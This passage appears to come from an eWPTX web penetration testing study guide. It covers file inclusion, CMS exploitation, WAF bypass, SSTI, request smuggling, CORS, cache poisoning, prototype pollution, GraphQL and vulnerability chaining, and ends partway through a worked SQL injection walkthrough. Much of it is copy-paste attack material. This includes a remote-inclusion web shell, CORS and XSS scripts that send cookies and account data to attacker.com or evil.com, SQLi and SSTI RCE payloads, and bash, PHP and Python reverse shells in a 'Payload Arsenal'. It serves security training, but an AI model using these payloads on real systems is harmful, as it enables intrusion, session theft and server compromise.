- Session files — if you can control a session value, include /var/lib/php/sessions/sess_<PHPSESSID>.
- PHP filter chains — advanced: craft a chain of php://filter conversions to generate arbitrary PHP from an includable resource (no file write needed).
- data:// / php://input — direct code execution (above).
- Uploaded file — combine with file upload (§24): upload an image containing PHP, include it via LFI.
Remote File Inclusion (RFI) — include a file from a server you control (requires allow_url_include=On; rarer in modern PHP):
https://target.com/index.php?page=http://attacker.com/shell.txt
# shell.txt on attacker.com: <?php system($_GET['cmd']); ?>
# then: ?page=http://attacker.com/shell.txt&cmd=whoami
Testing: identify include parameters (page, file, include, template, lang) → test LFI with traversal to /etc/passwd → read source via php://filter → escalate to RCE (log poisoning / wrappers / upload chain) → test RFI with a remote URL. Remediation: never include files based on user input; use allow-lists of permitted pages; disable allow_url_include/allow_url_fopen; validate and canonicalize paths. Impact: source disclosure → RCE — High/Critical.
27. CMS Pentesting — WordPress, Drupal & Magento
A large share of the web runs on CMS platforms. They have predictable structures and a huge surface of vulnerable plugins/themes/modules — fast wins when you fingerprint one (§8). The eWPTX covers CMS-specific methodology.
WordPress (the most common):
# fingerprint version & enumerate:
curl -s https://target.com/ | grep 'content="WordPress' # version in meta generator
curl https://target.com/readme.html /license.txt # version files
wpscan --url https://target.com --enumerate u # users
wpscan --url https://target.com --enumerate vp,vt,tt --plugins-detection aggressive # vuln plugins/themes
wpscan --url https://target.com -e u -P /usr/share/wordlists/rockyou.txt # brute passwords
wpscan --url https://target.com -U admin -P rockyou.txt --api-token <WPVULNDB_TOKEN>
WordPress key paths & attacks:
/wp-login.php /wp-admin/ login (brute-force; user enum via login error differences)
/wp-json/wp/v2/users REST API user enumeration
/?author=1 /?author=2 ... author-ID user enumeration (redirect reveals username)
/xmlrpc.php amplified brute force / SSRF (system.multicall, pingback)
/wp-content/plugins/ /themes/ vulnerable plugins/themes (the usual way in)
/wp-config.php DB credentials (if disclosed via LFI/backup)
# RCE: admin → Appearance → Theme Editor → edit 404.php to a PHP shell → browse
# /wp-content/themes/<theme>/404.php (or Metasploit wp_admin_shell_upload)
Drupal:
curl -s https://target.com/CHANGELOG.txt | head # version (older installs)
droopescan scan drupal -u https://target.com # automated enum
# user enumeration: /user/register and /user/password reveal if a username exists
# node fuzzing: /node/1, /node/2 ... for hidden pages
Drupal RCE: older versions — enable the PHP Filter module → create a node with PHP in the body → access it; or a backdoored module upload (with .htaccess) for a web shell; or known CVEs like Drupalgeddon 2 (CVE-2018-7600) for unauthenticated RCE on affected versions.
Magento (e-commerce): fingerprint via /magento_version, /static/version*, cookies; enumerate admin path; test known CVEs (e.g., Magento RCE/SQLi advisories) and misconfigurations; check for exposed app/etc/env.php (DB creds) and admin-panel weaknesses.
General CMS methodology: identify the CMS & version (§8) → enumerate users, plugins/themes/modules, and their versions → map versions to known CVEs (searchsploit, WPScan/Drupal advisories) → exploit vulnerable components or weak admin creds → escalate to RCE (theme/module editing, file upload, known exploits) → post-exploit (read config for DB creds, dump users). Remediation: keep core + plugins/themes updated, remove unused components, strong admin creds + MFA, restrict admin paths, and a WAF. Impact: often RCE / full compromise via a single outdated plugin — Critical.
28. Filter Evasion & WAF Bypass (Encoding & Obfuscation)
The defining eWPTX skill: getting your payloads past input filters and Web Application Firewalls (WAFs). Real targets block obvious attacks — "eXtreme" means bypassing those defenses with encoding, obfuscation, and alternative syntax.
Why bypasses work: filters/WAFs match known-bad patterns (<script>, ' OR 1=1, ../, UNION SELECT). If you represent the same payload differently — so it doesn't match the signature but the app still interprets it — you slip through. The key is understanding how the target decodes/parses your input (the parser's view ≠ the filter's view).
Encoding techniques (represent the same payload differently):
URL encoding: < → %3C ' → %27 space → %20 or +
Double URL encoding: < → %253C (filter decodes once, app decodes twice)
HTML entities: < → < < < (in HTML contexts)
Unicode escaping (JS): a → \u0061 eval("\u0061lert(1)")
Hex escaping (JS): a → \x61 eval("\x61lert(1)")
Octal escaping (JS): a → \141 eval("\141lert(1)")
Base64 (+ decode sink): <svg onload=eval(atob('YWxlcnQoMSk='))>
Mixed/nested encodings: combine the above when a filter decodes in stages
SQL injection filter/WAF bypass:
-- case variation (defeats case-sensitive signatures):
uNiOn sElEcT SeLeCt
-- inline comments to break keywords:
UN/**/ION SE/**/LECT /*!UNION*/ /*!SELECT*/ (MySQL version-comment executes)
-- whitespace alternatives (when spaces are filtered):
UNION/**/SELECT UNION%0aSELECT UNION(SELECT(1)) UNION%09SELECT
-- no spaces using parentheses/comments:
'UNION(SELECT(username),(password)FROM(users))-- -
-- alternative to quotes (CHAR / hex):
SELECT CHAR(83,69,76) 0x53454c454354 (hex string)
-- encoding the whole thing / SQLMap tamper scripts:
sqlmap ... --tamper=space2comment,between,charencode,randomcase
-- the WHERE 'OR 1=1' blocked? try: ' OR 2>1-- - ' OR 'a'='a ' || 1=1-- - ' OORR 1=1 (if OR is naively stripped)
XSS filter/WAF bypass:
<!-- case / broken tags (defeat naive blacklists) -->
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</scr</script>ipt> <!-- strip-once leaves <script> -->
<!-- event handlers when <script> is blocked -->
<img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)>
<!-- no parentheses -->
<svg onload=alert`1`> <svg onload="window.onerror=alert;throw 1">
<!-- encoded payloads -->
<img src=x onerror=alert(1)> <!-- HTML entity -->
<a href="javascript:alert(1)">x</a>
<svg onload=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))>
<!-- keyword/filter evasion -->
<iMg Src=x OnErRoR=alert(1)> <!-- mixed case attrs -->
<svg/onload=alert(1)> <!-- slash instead of space -->
Command injection filter bypass (recap §15):
who${IFS}ami w`'h'`oami who$()ami /???/??t /etc/passwd
cat</etc/passwd c''at /e'tc'/pa'ss'wd $(printf '\x69\x64')
Path traversal bypass (recap §25):
..%2f ..%252f ....// %c0%ae%c0%ae%c0%af ..;/ ..%00/
General WAF-evasion tactics:
- Change the content type — move the payload from a URL param to a JSON or XML body; WAF rules often differ per content type (SQLi via XML encoding is a classic PortSwigger bypass).
- HTTP parameter pollution — ?id=1&id=2 — servers/WAFs may parse duplicate params differently.
- Case, whitespace, comments, and alternative syntax — as above, per vuln class.
- Chunked transfer-encoding / request smuggling tricks — advanced front-end/back-end parsing differences.
- Null bytes, overlong encodings, and mixed encodings — exploit decoder quirks.
- Reduce request rate / rotate IPs (X-Forwarded-For) / random User-Agent — evade rate-based blocking.
- Target the parser, not the filter — find a representation the app's parser accepts but the filter's regex doesn't match.
Methodology for bypassing a WAF: (1) confirm the WAF & identify it (§8); (2) find exactly what triggers it (fuzz which keywords/characters are blocked — binary-search your payload); (3) transform the blocked part (encode/obfuscate/alternative syntax) while keeping it valid for the app's parser; (4) iterate until it passes and executes; (5) document the bypass in the report. Remediation (for the report): WAFs are defense-in-depth, not a fix — the real remediation is correct input handling (parameterization, output encoding, allow-lists) at the application layer.
29. Server-Side Template Injection (SSTI)
SSTI occurs when user input is embedded into a server-side template that's then rendered by a template engine — letting you inject template syntax that the engine evaluates, often leading to remote code execution. A hallmark advanced web vulnerability and a key eWPTX topic.
Where it hides: anywhere user input flows into a template — email/notification templates, customizable pages, names/greetings rendered server-side, error pages, PDF/report generators, and CMS/marketing tools. Common engines: Jinja2/Twig (Python/PHP), Freemarker/Velocity (Java), ERB (Ruby), Handlebars/Pug (Node), Smarty (PHP).
Detection — inject a math expression and see if it evaluates:
${7*7} {{7*7}} <%= 7*7 %> #{7*7} *{7*7}
If the response shows 49, the template engine evaluated your input → SSTI. To identify the engine, send a polyglot and observe which syntax renders / what error appears:
${{<%[%'"}}%\ (breaks and reveals the engine via the error)
{{7*7}} renders 49 → Jinja2/Twig ${7*7} renders 49 → Freemarker/Velocity
{{7*'7'}} → 7777777 (Jinja2) vs 49 (Twig) — distinguishes them
Exploitation → RCE (per engine):
# Jinja2 (Python) — reach os via the object chain:
{{ ''.__class__.__mro__[1].__subclasses__() }} # enumerate classes (find Popen/os)
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Twig (PHP):
{{ ['id']|filter('system') }}
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
# Freemarker (Java):
<#assign x="freemarker.template.utility.Execute"?new()>${ x("id") }
# Velocity (Java):
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
# ERB (Ruby):
<%= system("id") %> <%= `id` %> <%= IO.popen('id').read %>
# Smarty (PHP):
{system('id')} {php}system('id');{/php}
# Handlebars / Pug (Node) — engine-specific prototype/constructor gadgets
Tooling: tplmap / SSTImap automate detection and exploitation:
tplmap -u "http://target.com/page?name=John" # detect & exploit SSTI
tplmap -u "http://target.com/page?name=John" --os-shell
Testing workflow: find reflected input → inject {{7*7}}/${7*7} and confirm evaluation → identify the engine (polyglot/error) → use the engine-specific RCE payload → confirm with id/OOB → weaponize to a shell. SSTI vs XSS: {{7*7}}→49 (server evaluates) is SSTI (server-side, often RCE); input reflected verbatim and executing in the browser is XSS (client-side). Remediation: don't let user input into template code; pass it as sandboxed data/variables; use logic-less templates; patch/sandbox the engine. Impact: RCE — Critical.
30. HTTP Request Smuggling
Request smuggling exploits inconsistencies in how a front-end (proxy/load balancer/CDN) and a back-end server parse the boundaries between HTTP requests — letting you "smuggle" a hidden request that the back-end processes, bypassing front-end controls, poisoning other users' requests, and reaching restricted endpoints. An advanced, high-impact technique.
Root cause: HTTP allows two ways to specify a request's body length — the Content-Length (CL) header and Transfer-Encoding: chunked (TE). If the front-end and back-end disagree on which to honor, the back-end can interpret part of one request as the start of the next.
The classic variants:
- CL.TE — front-end uses Content-Length, back-end uses Transfer-Encoding.
- TE.CL — front-end uses Transfer-Encoding, back-end uses Content-Length.
- TE.TE — both support TE, but one can be induced to ignore it via an obfuscated header.
CL.TE example (front-end sees one request; back-end sees two):
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
G
The front-end (CL=6) forwards the whole thing; the back-end (TE) sees the 0\r\n\r\n as the end and treats the leftover G as the start of the next request — which prepends to the next user's request.
TE.CL example:
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /admin HTTP/1.1
Host: target.com
Content-Length: 15
x=1
0
Detection: use Burp's HTTP Request Smuggler extension (it automates CL.TE/TE.CL/TE.TE probing with timing-based detection), or test manually by sending a request that would time out if smuggling occurs (the back-end waits for more data). Confirm carefully — smuggling can disrupt other users, so only on authorized targets.
Impact & exploitation: bypass front-end security controls to reach internal/admin endpoints (/admin), capture other users' requests (steal their cookies/credentials by prepending a capturing request), deliver stored XSS via the smuggled prefix, perform web cache poisoning (§32), and bypass authentication. TE obfuscation (for TE.TE): Transfer-Encoding: xchunked, chunked (leading space), Transfer-Encoding:\tchunked, duplicate TE headers. Remediation: make the front-end and back-end agree on request parsing (prefer HTTP/2 end-to-end, reject ambiguous requests with both CL and TE, normalize at the edge). Impact: High/Critical depending on what it unlocks.
31. CORS, Open Redirect & Clickjacking
Three client-side-adjacent web vulnerabilities the eWPTX expects you to recognize and exploit — each a common building block in chains (§37).
CORS misconfiguration (Cross-Origin Resource Sharing). CORS controls which origins may read cross-origin responses. Misconfigured, it lets an attacker's site read a victim's authenticated data.
# test: send an arbitrary Origin and inspect the response headers
curl -s -I https://target.com/api/account -H "Origin: https://evil.com" | grep -i access-control
# VULNERABLE if the response REFLECTS your origin AND allows credentials:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
Exploit (exfiltrate the victim's data from an attacker page):
<script>
fetch('https://target.com/api/account',{credentials:'include'})
.then(r=>r.text()).then(d=>fetch('https://evil.com/log?d='+btoa(d)));
</script>
Also test Origin: null (some apps allow it — deliverable from a sandboxed iframe/data: URL) and trusted-subdomain reflection (any *.target.com → chain with a subdomain XSS). Impact: theft of authenticated data / account takeover. Fix: strict origin allow-list, never reflect arbitrary origins with credentials, never trust null.
Open Redirect. The app redirects to a user-controlled URL without validation.
https://target.com/login?redirect=https://evil.com
https://target.com/out?url=//evil.com
https://target.com/redirect?next=https:%2f%2fevil.com
# bypasses when there's weak filtering:
//evil.com https:evil.com /\evil.com https://target.com.evil.com
https://target.com@evil.com https://evil.com%2f%2e%2e
Low impact alone (phishing), but powerful in chains: steal OAuth code/tokens (redirect the OAuth flow to your domain), bypass SSRF allow-lists (point an SSRF at an open-redirect that forwards to an internal URL), and make phishing links look legitimate. Fix: allow-list redirect targets; use relative/indirect redirects.
Clickjacking (UI redressing). The app can be framed, so an attacker overlays it under a decoy to trick the victim into clicking sensitive actions.
<!-- PoC: if the target lacks X-Frame-Options / CSP frame-ancestors -->
<style>iframe{opacity:0.0001;position:absolute;top:0;left:0;width:1000px;height:800px}
#decoy{position:absolute;top:<Y>px;left:<X>px}</style>
<div id="decoy">Click here to win!</div>
<iframe src="https://target.com/account/delete"></iframe>
Test: does the page set X-Frame-Options: DENY/SAMEORIGIN or Content-Security-Policy: frame-ancestors 'self'? If not, it's framable. Impact: tricked state-changing actions (delete account, change settings, confirm a transfer). Fix: X-Frame-Options/frame-ancestors, and confirmation steps for sensitive actions. Chain clickjacking with CSRF-like actions for real impact.
32. Web Cache Poisoning & Deception
Caching layers (CDNs, reverse proxies) store responses to serve many users fast — and can be abused to serve malicious content to other users (poisoning) or to leak private content (deception). Advanced, high-impact, and a modern eWPTX topic.
Web Cache Poisoning — serve your payload to every subsequent visitor. The idea: find an unkeyed input (a request component the cache ignores when deciding what to store, but the app uses in the response) that reflects into the cached page. Poison the cache once; it's served to everyone.
# 1) Find an unkeyed header reflected into the response (use Param Miner "guess headers"):
# common: X-Forwarded-Host, X-Forwarded-Scheme, X-Host, X-Forwarded-For, X-Original-URL
GET /?cb=1 HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com → if reflected into a <script src> / link in the cached page...
# 2) Weaponize — inject XSS or a malicious resource via the unkeyed header:
X-Forwarded-Host: a."><script>alert(document.cookie)</script>
X-Forwarded-Host: evil.com (if it builds an absolute URL for a loaded script → load attacker JS)
Confirm the cache: look for X-Cache: hit/miss, Age:, CF-Cache-Status headers; keep a cache-buster (?cb=random) while testing, then poison the real key. Impact: mass stored-XSS / redirect / resource hijack served from the trusted domain. Fix: don't let unkeyed inputs affect cached responses; include relevant inputs in the cache key; sanitize.
Web Cache Deception — trick the cache into storing a victim's private page. If the app serves a sensitive page (/account) but the cache stores by extension, request it with a static-looking suffix so the cache saves the authenticated response, then retrieve it unauthenticated:
Victim is lured to: https://target.com/account/wcd.css (or /account;.css, /account%0a.css)
→ app returns the victim's account page; cache stores it as a "static .css" file
→ attacker requests the same URL → served the victim's cached private data
Fix: cache only truly static content, match caching to content-type, and don't cache authenticated responses.
Testing workflow: map the caching behavior (headers, what's cached) → find unkeyed inputs (Param Miner) → test reflection into cached responses → poison with a payload (keep a cache-buster until ready) → for deception, probe static-suffix tricks on sensitive pages. Impact: widespread XSS/redirect (poisoning) or data exposure (deception) — High.
33. Prototype Pollution
Prototype pollution is a JavaScript-specific vulnerability where an attacker modifies the properties of Object.prototype, affecting all objects in the application — enabling DoS, property injection, privilege escalation, XSS, and sometimes RCE (Node). Increasingly important as apps go JavaScript-heavy.
Concept: in JavaScript, almost every object inherits from Object.prototype. If code recursively merges/clones user-controlled data into an object without guarding the special keys __proto__, constructor, and prototype, an attacker can inject properties onto the prototype that every object then "sees."
Client-side prototype pollution (→ often DOM XSS):
# polluting via URL/query (if client JS merges query params):
?__proto__[gadget]=payload
?__proto__.gadget=payload
?constructor[prototype][gadget]=payload
# JSON body:
{"__proto__":{"gadget":"payload"}}
# example: pollute a property that a sink later uses as HTML/script → DOM XSS:
?__proto__[hitCallback]=alert(document.cookie)
Use DOM Invader → Prototype Pollution (Burp) to auto-find sources and gadgets.
Server-side prototype pollution (Node.js → privilege escalation / RCE):
{"__proto__":{"isAdmin":true}}
{"constructor":{"prototype":{"isAdmin":true}}}
If the app later checks user.isAdmin on an object that inherited the polluted property, you escalate. With the right "gadget" (a library that reads a polluted property as a command/option), server-side prototype pollution can reach RCE (e.g., polluting options passed to child_process).
Detection: send {"__proto__":{"polluted":"yes"}} (or the query-param form) to JSON/merge endpoints, then check whether an unrelated object now has polluted (e.g., reflected in a response, or a behavior change). Test endpoints that merge/clone user input (profile updates, config, settings). Remediation: block __proto__/constructor/prototype keys; use Object.create(null), Map, or Object.freeze(Object.prototype); validate input schemas; patch vulnerable merge libraries. Impact: DOM XSS, auth bypass/privilege escalation, DoS, RCE — Medium to Critical.
34. Business Logic Vulnerabilities
Business logic flaws are weaknesses in how an application's intended workflow can be abused — not a coding bug like injection, but a design/logic gap. They're often missed by scanners (there's no signature) and are a rich source of high-impact, "creative" findings the eWPTX rewards.
What they are: the app does exactly what it was coded to do, but the logic allows an unintended, harmful outcome. Finding them requires understanding the application's purpose and then asking "how could I abuse this workflow?"
Common business-logic flaw categories (with examples):
- Price / quantity manipulation — change a price, send a negative quantity, or a negative amount:POST /cart/add {"item":"X","price":0.01,"qty":-5} → negative qty credits your account
- Coupon / discount abuse — reuse a single-use coupon, stack multiple discounts, or apply a coupon to ineligible items.
- Workflow / step skipping — jump past a required step (e.g., go straight to /checkout/confirm without paying, or to a post-verification page without verifying):Skip payment: complete step 1 (cart) → directly request /order/complete (bypass /payment)
- Parameter tampering on trusted fields — the app trusts a client-supplied value it shouldn't (role, price, user id, "isPaid", "isVerified").
- Race conditions — send concurrent requests to exploit a timing window (e.g., redeem a gift card / withdraw funds / apply a coupon multiple times before the balance updates). Use Burp Turbo Intruder / the "single-packet attack."
- Insufficient authorization on a step — an action authorized only at an earlier step, not re-checked later.
- Replay — resubmitting a valid request (a payment confirmation, a one-time token) for repeated effect.
- Integer/rounding abuse — currency rounding, overflow, or truncation producing financial gain.
- Excessive trust in hidden/client fields — editing hidden form fields or client-enforced limits.
Testing approach: fully understand the intended workflow (what's supposed to happen, in what order, with what checks) → then systematically ask "what if I change this value / skip this step / do this twice / do these out of order / send a negative or extreme value?" → intercept and manipulate each step in Burp → observe whether the server enforces the rule or trusts the client. Mindset: business logic testing is creative and manual — it's where human insight beats tools. Remediation: enforce all business rules server-side, validate state transitions, make critical operations atomic (prevent races), re-check authorization at every step, and never trust client-supplied values for pricing/identity/limits. Impact: financial fraud, privilege escalation, data manipulation — varies, often High.
35. GraphQL Deep-Dive
GraphQL APIs are increasingly common and bring their own attack surface. Since the eWPTX covers API penetration testing (§20), know how to attack GraphQL specifically.
GraphQL basics: a single endpoint (usually /graphql) accepts queries (reads) and mutations (writes) described by a strongly-typed schema. Everything goes through POST (sometimes GET) with a JSON query field.
Introspection — dump the entire schema (your map):
# full introspection query reveals every type, field, query, and mutation:
curl -s https://target.com/graphql -H 'Content-Type: application/json' \
-d '{"query":"query{__schema{types{name fields{name args{name type{name}}}}}}"}'
# quick type list:
-d '{"query":"{__schema{queryType{name} mutationType{name} types{name}}}"}'
Use InQL (Burp) or GraphQL Voyager to visualize the schema. If introspection is disabled, use field-suggestion errors ("did you mean…") or known-schema wordlists (clairvoyance) to recover it.
GraphQL-specific attacks:
- Excessive data / BOLA — request fields or objects you shouldn't (nested queries that pull other users' data by ID):graphql query { user(id: 1002) { email passwordHash privateData } } # IDOR/BOLA via id arg
- Authorization bypass (BFLA) — call mutations/queries above your privilege:graphql mutation { deleteUser(id: 1002) { success } } mutation { updateUser(id: 1001, role: "admin") { id role } } # privilege escalation
- Batching / alias-based brute force — bypass rate limits by sending many operations in one request:graphql mutation { a:login(pw:"0000"){token} b:login(pw:"0001"){token} c:login(pw:"0002"){token} }
- Injection — GraphQL arguments can be injection points (SQLi/NoSQLi/command) if passed unsafely to backends.
- Denial of Service — deeply nested / recursive queries (query bombs) or huge first: values overwhelm the server:graphql query { a { b { a { b { a { b { ... } } } } } } } # nested-recursion DoS
- Information disclosure — verbose errors, debug fields, and introspection leaking internal structure.
Testing workflow: find the /graphql endpoint → run introspection (or recover the schema) → map every query/mutation → test authorization (BOLA/BFLA via id args and privileged mutations), injection in arguments, batching to bypass rate limits/2FA, and DoS via nesting → check field-level auth and error verbosity. Remediation: disable introspection in production, enforce field/object-level authorization, rate-limit and depth-limit queries, validate inputs, and return minimal errors. Impact: data breach, privilege escalation, auth bypass — High.
36. Payload Arsenal — Consolidated Quick Reference
A curated, copy-paste payload reference for the exam. (Full exhaustive lists live in PayloadsAllTheThings and the PortSwigger SQLi/XSS cheat sheets — bookmark those. These are the high-value sets to have memorized/handy.) Authorized targets only.
SQLi — authentication bypass:
admin'-- - admin'# admin'/*
' OR '1'='1'-- - ' OR 1=1-- - ' OR 1=1# ' OR 1=1 LIMIT 1-- -
') OR ('1'='1'-- - ') OR '1'='1'-- -
" OR "1"="1"-- - " OR 1=1-- -
' OR 'x'='x ' OR ''=' ' OR 2>1-- -
1' ORDER BY 1-- - 1' UNION SELECT NULL-- -
SQLi — enumeration (MySQL):
' UNION SELECT database(),version(),user()-- -
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT group_concat(username,0x3a,password),NULL FROM users-- -
' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- - -- error-based
' AND IF(1=1,SLEEP(5),0)-- - -- time-based
SQLi — per-DBMS time delay:
MySQL: ' AND SLEEP(5)-- - ' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -
MSSQL: '; WAITFOR DELAY '0:0:5'-- -
PostgreSQL: ' AND (SELECT pg_sleep(5))-- - ' || pg_sleep(5)-- -
Oracle: ' AND 1=(SELECT 1 FROM dual WHERE DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1)-- -
XSS — core set:
<script>alert(document.domain)</script>
"><script>alert(1)</script>
<img src=x onerror=alert(document.cookie)>
<svg onload=alert(1)> "><svg onload=alert(1)>
<body onload=alert(1)> <input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)> <marquee onstart=alert(1)>
javascript:alert(1) '-alert(1)-' ';alert(1)//
<iframe src=javascript:alert(1)> <svg><animate onbegin=alert(1) attributeName=x dur=1s>
# cookie exfil:
<script>new Image().src="//attacker.com/c?="+document.cookie</script>
<script>fetch('//attacker.com/c',{method:'POST',mode:'no-cors',body:document.cookie})</script>
# filter bypass:
<ScRiPt>alert(1)</ScRiPt> <scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror=alert(1)> <svg onload=eval(atob('YWxlcnQoMSk='))> <svg/onload=alert`1`>
Command injection:
; whoami | id && id || id `whoami` $(whoami) %0awhoami
& ping -c 10 127.0.0.1 & & sleep 10 & # blind time
& nslookup <collab> & & curl http://<collab>/$(whoami) & # blind OOB
; bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1' # reverse shell
# bypass: who${IFS}ami w`'h'`oami /???/??t /etc/passwd cat</etc/passwd
Path traversal / LFI:
../../../../etc/passwd ..\..\..\..\windows\win.ini
..%2f..%2f..%2fetc%2fpasswd ..%252f..%252f..%252fetc%252fpasswd
....//....//....//etc/passwd /etc/passwd%00.jpg
php://filter/convert.base64-encode/resource=config.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+
# log poisoning: User-Agent: <?php system($_GET['c']); ?> then ?page=/var/log/apache2/access.log&c=id
SSRF:
http://127.0.0.1/ http://localhost/admin http://169.254.169.254/latest/meta-data/
http://127.1/ http://0/ http://2130706433/ http://0x7f000001/ http://[::1]/
http://attacker.com@127.0.0.1/ http://127.0.0.1#@allowed.com/ http://<collab>/ (blind)
XXE:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
<!DOCTYPE foo [<!ENTITY % x SYSTEM "http://attacker.com/evil.dtd">%x;]> <!-- OOB -->
SSTI:
{{7*7}} ${7*7} <%= 7*7 %> #{7*7}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}} (Jinja2)
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")} (Freemarker)
<%= system("id") %> (ERB)
NoSQLi:
username[$ne]=&password[$ne]= {"username":{"$ne":null},"password":{"$ne":null}}
{"username":"admin","password":{"$regex":"^a"}} {"$where":"sleep(5000)"}
JWT:
alg:none (strip signature) | hashcat -m 16500 jwt.txt rockyou.txt (crack weak secret)
kid path traversal / SQLi | jku→attacker JWKS | RS256→HS256 confusion (public key as HMAC secret)
Encoding quick map (filter evasion, §28):
URL: <→%3C '→%27 space→%20/+ Double-URL: <→%253C
HTML: <→< < < JS hex: a→\x61 JS unicode: a→\u0061 JS octal: a→\141
SQL: CHAR(83) 0x53 /**/ comments case: UnIoN whitespace: %0a %09 /**/ ()
Reverse shells (catch with nc -lvnp 4444):
bash -i >& /dev/tcp/<IP>/4444 0>&1
php: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1'"); ?>
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("<IP>",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
# stabilize: python3 -c 'import pty;pty.spawn("/bin/bash")' → Ctrl+Z → stty raw -echo; fg → export TERM=xterm
37. Chaining Vulnerabilities — Advanced Exploitation
The single biggest differentiator between the eWPT and the eWPTX is chaining — combining individually "medium" vulnerabilities into a single "critical" impact. Real-world, high-severity findings are almost always chains. This is the "eXtreme" mindset: never stop at alert(1) or a single file read — ask "what does this let me reach next?"
What chaining means. A vulnerability's severity depends on what it unlocks. An XSS that only pops an alert is low-impact; an XSS that steals an admin session and takes over the account is critical. Chaining is the art of using one weakness as a stepping stone to the next, escalating impact at each hop until you reach a serious outcome (account takeover, RCE, data breach, full compromise).
High-impact chains to look for (and how they build):
Chain 1 — XSS → Session Theft → Account Takeover.
Stored XSS on a page an admin views → payload exfiltrates the admin's session cookie (no HttpOnly)
→ attacker replays the cookie → authenticated as admin → full admin access / further attacks
# or: XSS (same origin) → fetch() a CSRF-protected "change email" with credentials:'include'
→ read the anti-CSRF token → change admin's email → password reset to attacker → ATO
Chain 2 — SSRF → Cloud Metadata → Cloud Account Takeover.
SSRF in a URL-fetch feature → request http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
→ steal temporary AWS keys → use them (aws cli) → access S3/EC2/etc. → cloud compromise
Chain 3 — SSRF → Internal Service → RCE.
SSRF → reach an internal, unauthenticated service with a known RCE (Redis/Jenkins/Elasticsearch)
→ (gopher:// to send raw commands to Redis / hit the vulnerable endpoint) → code execution
Chain 4 — LFI → Log Poisoning → RCE.
LFI (?page=) → poison the access log with PHP in the User-Agent → include the log → RCE
→ reverse shell → server compromise
Chain 5 — File Upload → Web Shell → RCE → Internal Pivot.
Weak upload filter → bypass to upload shell.php → browse it → RCE → reverse shell
→ local privilege escalation → read DB creds / pivot to internal network
Chain 6 — SQLi → Credential Dump → Admin Login → Admin-Panel RCE.
SQLi → dump the users table → crack the admin hash → log into /admin → use an admin
feature (template editor / file upload / plugin install) to get RCE
Chain 7 — IDOR/BOLA → Mass Data Access; or BOLA + Mass Assignment → Privilege Escalation.
BOLA (swap user IDs) → read/modify other users' data at scale → data breach
# or: mass assignment ("role":"admin") on a profile-update API → become admin → escalate
Chain 8 — CSRF → Email Change → Password Reset → Account Takeover.
CSRF on "change email" (no/weak token) → victim's email set to attacker's → trigger password reset
→ reset link goes to attacker → full account takeover
Chain 9 — Open Redirect → OAuth Token Theft / SSRF.
Open redirect in a redirect_uri / return URL → steal an OAuth code/token, or redirect an SSRF
fetch to an internal target → account takeover / internal access
Chain 10 — XXE → SSRF → Cloud Metadata.
XXE (SYSTEM entity to a URL) → SSRF to 169.254.169.254 → cloud credentials → cloud takeover
The chaining methodology: after confirming any vulnerability, immediately ask:
- What privileges/context does this give me? (whose data, which origin, what access)
- What can I reach FROM here that I couldn't before? (internal services, other users, the filesystem, the DB)
- Can its output feed another vuln's input? (SSRF URL → metadata; LFI read → source → new bug; SQLi dump → creds → login)
- Does it let me become someone more privileged? (session theft, token forging, privilege fields)
- Can I turn "read" into "write", or "write" into "execute"? (file read → log poison → RCE)
Then build the chain hop by hop, confirming each step, until you reach maximum impact. In the report, present the chain as a single high-severity finding with the full narrative — that storytelling of real business impact is exactly what the eWPTX rewards.
38. Worked Scenario Walkthroughs
End-to-end examples that put the methodology together — how an advanced web pentest actually flows from recon to critical impact. (Illustrative; authorized labs only.)
Walkthrough A — From recon to admin takeover via stored XSS.
1. RECON: whatweb → PHP app; wafw00f → no WAF; crt.sh → found admin.target.com subdomain.
2. MAP: browse through Burp; find a "feedback" form and an admin panel at admin.target.com.
3. TEST: inject a marker in the feedback message → it's reflected unencoded on the admin's
review page (stored XSS confirmed). Cookie has no HttpOnly flag.
4. EXPLOIT: store payload:
<script>new Image().src="//attacker.com/c?="+document.cookie</script>
5. CHAIN: admin opens the feedback page → their session cookie hits attacker.com →
attacker sets the cookie in Burp → browses admin.target.com as the admin.
6. IMPACT: full admin access (manage users/content). Report: Stored XSS → Session Hijacking →
Admin Account Takeover (Critical), with the exact request/response evidence and remediation
(output encoding + HttpOnly + CSP).
Walkthrough B — SQL injection to data breach and RCE.
1. Find a product page: /item.php?id=1 . Inject ' → SQL error (injection likely).
2. Confirm: ' AND '1'='1 (normal) vs ' AND '1'='2 (different) → boolean-blind confirmed.
3. Determine columns: ' ORDER BY 1..N → error at 4 → 3 columns. ' UNION SELECT NULL,NULL,NULL-- - works.
4. Enumerate: ' UNION SELECT database(),version(),user()-- - → appdb / MySQL / webuser.
